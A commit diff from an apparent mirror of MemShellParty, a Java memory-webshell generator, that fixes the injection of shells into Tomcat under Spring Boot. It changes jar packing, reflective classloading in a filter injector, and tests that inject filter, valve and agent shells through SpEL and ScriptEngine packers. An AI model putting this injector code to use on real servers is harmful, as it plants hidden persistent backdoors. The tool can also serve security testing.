mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
fix: SpringBoot Tomcat Shell Inject failed
This commit is contained in:
+12
-17
@@ -58,16 +58,16 @@ public class AgentJarPacker implements JarPacker {
|
||||
@SneakyThrows
|
||||
private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
|
||||
if (isAsm) {
|
||||
addDependency(targetJar, Opcodes.class, true, relocatePrefix);
|
||||
addDependency(targetJar, Opcodes.class, relocatePrefix);
|
||||
} else {
|
||||
addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
|
||||
addDependency(targetJar, ByteBuddy.class, relocatePrefix);
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
|
||||
String relocatePrefix, boolean isRelocateEnabled) {
|
||||
String dependencyPackage = isRelocateEnabled ?
|
||||
String relocatePrefix, boolean isAsm) {
|
||||
String dependencyPackage = isAsm ?
|
||||
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
|
||||
|
||||
// Add injector class
|
||||
@@ -75,16 +75,14 @@ public class AgentJarPacker implements JarPacker {
|
||||
generateResult.getInjectorClassName(),
|
||||
generateResult.getInjectorBytes(),
|
||||
dependencyPackage,
|
||||
relocatePrefix,
|
||||
isRelocateEnabled);
|
||||
relocatePrefix);
|
||||
|
||||
// Add shell class
|
||||
addClassEntry(targetJar,
|
||||
generateResult.getShellClassName(),
|
||||
generateResult.getShellBytes(),
|
||||
dependencyPackage,
|
||||
relocatePrefix,
|
||||
isRelocateEnabled);
|
||||
relocatePrefix);
|
||||
|
||||
// Add inner classes
|
||||
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
||||
@@ -92,24 +90,21 @@ public class AgentJarPacker implements JarPacker {
|
||||
entry.getKey(),
|
||||
entry.getValue(),
|
||||
dependencyPackage,
|
||||
relocatePrefix,
|
||||
isRelocateEnabled);
|
||||
relocatePrefix);
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||
String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
|
||||
String dependencyPackage, String relocatePrefix) {
|
||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||
byte[] processedBytes = isRelocateEnabled ?
|
||||
ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
|
||||
classBytes;
|
||||
byte[] processedBytes = ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage);
|
||||
targetJar.write(processedBytes);
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) {
|
||||
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String relocatePrefix) {
|
||||
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
|
||||
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||
String sourceUrlString = sourceUrl.toString();
|
||||
@@ -133,13 +128,13 @@ public class AgentJarPacker implements JarPacker {
|
||||
if (entryName.startsWith(packageToMove)) {
|
||||
InputStream entryStream = sourceJar.getInputStream(entry);
|
||||
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||
if (relocate) {
|
||||
if (entryName.endsWith(".class")) {
|
||||
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||
if (bytes.length > 0) {
|
||||
bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
|
||||
}
|
||||
} else {
|
||||
targetJar.putNextEntry(new JarEntry(entryName));
|
||||
targetJar.putNextEntry(entry);
|
||||
}
|
||||
targetJar.write(bytes);
|
||||
targetJar.closeEntry();
|
||||
|
||||
+21
@@ -82,4 +82,25 @@ public class SpringBoot2ContainerTest {
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
static Stream<Arguments> tomcatCasesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
// ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("tomcatCasesProvider")
|
||||
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -36,7 +36,7 @@ public class ClassRenameUtils {
|
||||
}
|
||||
String oldClassName = relocateClassPackage.replace('.', '/');
|
||||
String newClassName = relocatePrefix.replace('.', '/');
|
||||
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
||||
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS);
|
||||
ClassRemapper adapter = new ClassRemapper(writer, new Remapper() {
|
||||
@Override
|
||||
public String map(String typeName) {
|
||||
|
||||
+3
-3
@@ -98,8 +98,8 @@ public class TomcatFilterInjector {
|
||||
Object filterMap;
|
||||
try {
|
||||
// tomcat v8/9
|
||||
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
||||
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef", true, context.getClass().getClassLoader()).newInstance();
|
||||
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap", true, context.getClass().getClassLoader()).newInstance();
|
||||
} catch (Exception e2) {
|
||||
// tomcat v6/7
|
||||
try {
|
||||
@@ -119,7 +119,7 @@ public class TomcatFilterInjector {
|
||||
Constructor<?>[] constructors;
|
||||
try {
|
||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors();
|
||||
} catch (Exception e) {
|
||||
// tomcat v5
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
|
||||
@@ -16,6 +16,7 @@ repositories {
|
||||
dependencies {
|
||||
implementation 'org.springframework.boot:spring-boot-starter-web'
|
||||
implementation 'commons-io:commons-io:2.+'
|
||||
implementation 'net.bytebuddy:byte-buddy:1.10.10'
|
||||
providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat'
|
||||
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
||||
}
|
||||
|
||||
@@ -1,9 +1,7 @@
|
||||
import javax.servlet.ServletContext;
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.BufferedReader;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
@@ -14,9 +12,11 @@ public class TestServlet extends HttpServlet {
|
||||
|
||||
@Override
|
||||
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
req.getMethod();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
req.getMethod();
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user